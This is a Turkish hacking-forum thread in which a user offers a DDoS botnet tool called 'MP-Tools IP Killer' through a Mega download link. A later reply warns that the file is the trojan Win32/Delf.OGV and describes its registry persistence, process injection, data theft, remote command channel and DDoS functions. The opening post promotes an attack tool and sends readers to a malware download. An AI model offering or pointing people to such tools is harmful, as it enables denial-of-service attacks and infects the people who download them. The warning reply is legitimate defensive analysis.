MP-Tools IP Killer (BOTNET)

XenonHD · 7 Eyl 2016

Ben video çekmedim doğrusunu söylemek gerekirse ben fazla beceremedim ama kullanışlı bi botnet tavsiye ederim

[video=youtube]

Link: https://mega.nz/#!D0RjAI4L!Nuji7RxjGyvsteSPPKM_Ra-JHRvVMg0oDLj_eZO0MZ0

VirusTotal: https://www.virustotal.com/tr/file/...38cd849f22a73606e283147f/analysis/1473208492/

alperen34 · 27 Şub 2017

XenonHD' Alıntı:
Ben video çekmedim doğrusunu söylemek gerekirse ben fazla beceremedim ama kullanışlı bi botnet tavsiye ederim [video=youtube]

Link: https://mega.nz/#!D0RjAI4L!Nuji7RxjGyvsteSPPKM_Ra-JHRvVMg0oDLj_eZO0MZ0

VirusTotal: https://www.virustotal.com/tr/file/...38cd849f22a73606e283147f/analysis/1473208492/

link kIrIk

Calvinator.KG · 17 Nis 2017

eh işte

idare eder az da olsa

SKYERZ · 30 Nis 2017

----Dikkat!---

[size=small]Win32 / Delf.OGV [Tehdit Varyant Adı]

Kategori
Trojan[/size]

Kurulum
Truva, çalıştırıldığında şu konumlarda kendini kopyalar:

% Appdata% \ AdobeTM.exe
% Appdata% \ Microsoft \ WinNT.tmp

Daha sonra bu trojan kopyası çalıştırılır.

Her sistem başlangıcında yürütülebilmek için, Trojan aşağıdaki Kayıt defteri girişlerini ayarlar:

[HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run]
- "AdobeART" = "% appdata% \ AdobeTM.exe"
[HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run]
- "AdobeART" = "% appdata% \ AdobeTM.exe"

Daha fazla bilgi
Truva, aşağıdaki dosyaları çalıştırır:

Calc.exe

Truva, bu çalışan işlemler içinde kendi koduyla yeni bir iş parçacığı yaratır ve çalışır.

Truva, aşağıdaki dosyaların kopyalarını oluşturur (kaynak, hedef):

% Appdata% \ Microsoft \ WinNT.tmp,% appdata% \ AdobeTM.exe

Bilgi çalmak
Win32 / Delf.OGV, hassas bilgilerin çalınmasına neden olan bir trojan.

Aşağıdaki bilgiler toplanmaktadır:

kullanıcı adı
bilgisayar adı
Işletim sistemi sürümü

Truva, toplanan bilgileri uzaktaki bir makineye göndermeye çalışıyor.
Diğer bilgiler
Truva, uzaktaki bir bilgisayardan veya İnternetten veri ve komutlar edinir.

Truva, bir URL adresi içeriyor. UDP protokolü kullanılır.

Uzak bilgisayar / sunucu ile ağ iletişimi şifrelenir.

Aşağıdaki işlemleri gerçekleştirebilir:

Dosyaları uzak bir bilgisayardan ve / veya İnternet'ten indirme
Yürütülebilir dosyaları çalıştır
DoS / DDoS saldırıları gerçekleştirmek

N0XI · 21 May 2017

Saol hocam

Ara

MP-Tools IP Killer (BOTNET)

XenonHD

Forumdan Uzaklaştırıldı

alperen34

Yeni Üye

Calvinator.KG

Spys-Z

SKYERZ

Spys-Z

N0XI

Spys-Z